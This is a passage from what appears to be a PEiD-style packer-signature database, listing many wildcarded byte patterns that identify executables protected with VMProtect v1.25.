VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only 